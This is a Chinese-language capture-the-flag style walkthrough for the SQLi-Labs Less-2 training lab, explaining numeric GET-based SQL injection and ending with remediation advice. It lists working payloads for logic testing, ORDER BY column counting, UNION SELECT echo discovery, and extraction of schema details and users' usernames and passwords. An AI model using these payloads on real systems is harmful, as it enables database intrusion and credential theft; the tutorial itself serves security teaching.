SQLi-Labs Less-2 通关教程(数字型GET注入)

SQLi-Labs Less-2 通关教程(数字型GET注入)

一、关卡核心信息

项目 详情
漏洞类型 GET型数字型SQL注入(核心区别于Less-1的字符型)
核心特征 后端SQL语句中,id参数无引号包裹,直接以数字形式拼接执行
前置条件 已完成SQLi-Labs靶场搭建,数据库初始化成功
工具准备 浏览器(Chrome/Firefox)、Burp Suite(可选,抓包验证)
通关目标 掌握数字型注入的判断方法,通过联合查询逐层获取数据库名、表名、字段名及users表账号密码

二、核心原理

Less-2 与 Less-1 的核心差异在于参数拼接方式

  • Less-1(字符型):SELECT * FROM users WHERE id='1' LIMIT 0,1;
  • Less-2(数字型):SELECT * FROM users WHERE id=1 LIMIT 0,1;

数字型注入无需闭合引号,直接构造UNIONORDER BY等语句即可,这是Web安全中最基础、最易利用的注入类型之一。

三、通关步骤

步骤1:判断注入类型(核心:区分数字型 vs 字符型)

  1. 正常访问基准页

    访问地址:http://[靶场IP]/sqli-labs/Less-2/?id=1

    回显结果:页面正常显示Your Login name:DumbYour Password:Dumb,说明id=1查询有效。

  2. 测试字符型闭合(排除法)

    输入Payload:http://[靶场IP]/sqli-labs/Less-2/?id=1'

    回显结果:出现MySQL语法错误,关键提示为near '' LIMIT 0,1' at line 1

    分析:报错中仅出现' LIMIT,无'1'',说明后端未用单引号包裹id排除字符型注入

  3. 验证数字型注入(逻辑判断法)

    • 输入:http://[靶场IP]/sqli-labs/Less-2/?id=1 and 1=1
      回显:正常(逻辑为真,查询执行成功)。
    • 输入:http://[靶场IP]/sqli-labs/Less-2/?id=1 and 1=2
      回显:无结果(逻辑为假,查询无数据)。
      结论:确认是数字型注入,参数可直接参与SQL逻辑运算。

步骤2:确定查询字段数(ORDER BY 法)

核心目的:找到后端SQL语句SELECT后的字段数量,为后续联合查询做准备。

  1. 输入Payload:http://[靶场IP]/sqli-labs/Less-2/?id=1 order by 3
    回显:页面正常,说明字段数**≥3**。
  2. 输入Payload:http://[靶场IP]/sqli-labs/Less-2/?id=1 order by 4
    回显:出现Unknown column '4' in 'order clause'报错。
  3. 结论:原查询语句的字段数为3

步骤3:定位回显位置(UNION 联合查询)

核心原理:利用UNION SELECT拼接查询语句,通过构造"原查询无结果",强制显示联合查询的内容,找到页面可回显的字段位置。

  1. 构造Payload:http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,2,3
    • 关键说明:id=-1是不存在的数值,让原查询无结果;union select 1,2,3拼接3个占位符,匹配字段数。
  2. 回显结果:页面显示23,说明第2、3字段为可回显位置,后续可将占位符替换为查询语句。

步骤4:逐层获取数据库敏感信息

(1)查询当前数据库名与数据库用户
  • Payload:http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,database(),user()
  • 回显结果:database()显示当前库名(默认security),user()显示数据库连接用户(如root@localhost)。
(2)查询security数据库下的所有表名
  • Payload:http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'
  • 关键说明:
    • information_schema.tables:MySQL系统表,存储所有数据库的表信息;
    • group_concat():将多个表名拼接成一行,避免分页显示;
    • 数字型注入无需闭合引号,但若查询条件为字符串(如table_schema='security'),仍需用单引号包裹。
  • 回显结果:显示emailsreferersuagentsusers,核心目标表为users(存储账号密码)。
(3)查询users表的所有字段名
  • Payload:http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'
  • 回显结果:显示idusernamepassword,即核心敏感字段。
(4)查询users表中的账号密码(通关核心)
  • Payload:http://[靶场IP]/sqli-labs/Less-2/?id=-1 union select 1,group_concat(username,':',password),3 from security.users
  • 回显结果:显示所有用户凭证,如Dumb:Dumbadmin:admintest:test,完成敏感数据窃取。

步骤5:Burp Suite Repeater 适配操作(教学补充)

若使用Burp Repeater测试,需注意URL编码规范(无需处理引号,仅需规范空格):

  1. 抓包后,在请求行中输入:GET /sqli-labs/Less-2/?id=-1 union select 1,group_concat(username,':',password),3 from security.users HTTP/1.1
  2. 或使用URL编码空格(%20):id=-1%20union%20select%201,group_concat(username,':',password),3%20from%20security.users
  3. 点击Send,即可在响应包中看到敏感数据。

四、漏洞修复方案

Less-2 漏洞的本质是后端未对数字型参数做类型校验,直接拼接SQL语句,修复需从"输入校验"和"语句安全"两方面入手:

  1. 类型强制转换 :后端将id参数强制转换为整数(如PHP中用intval($id)),非数字内容直接过滤;

  2. 预编译语句(推荐) :使用PDO、MySQLi预编译,避免SQL语句拼接,示例(PHP):

    php 复制代码
    $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ? LIMIT 0,1");
    $stmt->execute([$id]);
  3. 最小权限原则 :限制数据库账号的查询权限,禁止前端账号访问information_schema系统表。

五、图文并茂实训标注建议

截图序号 截图内容 核心标注
1 正常访问id=1的页面 标注"数字型注入基准页,无引号包裹"
2 id=1 and 1=2的无结果页面 标注"逻辑判断法验证数字型注入"
3 order by 4的报错页面 标注"字段数为3,超出则报错"
4 联合查询显示数据库名的页面 标注"回显位置:第2、3字段"
5 获取users表账号密码的最终页面 标注"核心成果:敏感数据泄露"

六、通关总结

Less-2 作为数字型SQL注入的入门关卡,核心考点是"注入类型的判断"和"无引号闭合的注入逻辑"。与字符型注入相比,数字型注入无需考虑引号闭合,操作更简单,但判断环节是关键。

通关核心逻辑:先通过逻辑运算判断数字型注入 → 用ORDER BY确定字段数 → 用UNION SELECT定位回显位置 → 逐层查询敏感数据。掌握这一逻辑,可快速迁移到所有数字型注入场景,是SQL注入学习的重要基础。

相关推荐
liann1191 小时前
3.2_红队攻击框架--MITRE ATT&CK‌
python·网络协议·安全·网络安全·系统安全·信息与通信
德迅云安全杨德俊3 小时前
DDoS 解析与防御体系
网络·安全·web安全·ddos
电子科技圈4 小时前
芯科科技在蓝牙亚洲大会展示汽车与边缘AI前沿蓝牙创新技术, 解锁车用、家居、健康及工商业等应用场景
人工智能·科技·嵌入式硬件·mcu·物联网·网络安全·汽车
王大傻09286 小时前
WASC 团队报告的安全威胁分类
网络·安全·web安全
大方子6 小时前
【好靶场】有点儿用的图形验证码
网络安全·好靶场
能年玲奈喝榴莲牛奶6 小时前
记一次挖矿病毒应急
网络安全·应急响应
橘子海全栈攻城狮6 小时前
【最新源码】养老院系统管理A013
java·spring boot·后端·web安全·微信小程序
网络安全许木7 小时前
自学渗透测试第30天(第一阶段总结与Metasploitable3部署)
网络安全·渗透测试
王大傻09289 小时前
注入攻击的概念
web安全·网络安全
txg6669 小时前
MDVul:用语义路径重塑漏洞检测的图模型能力
人工智能·安全·网络安全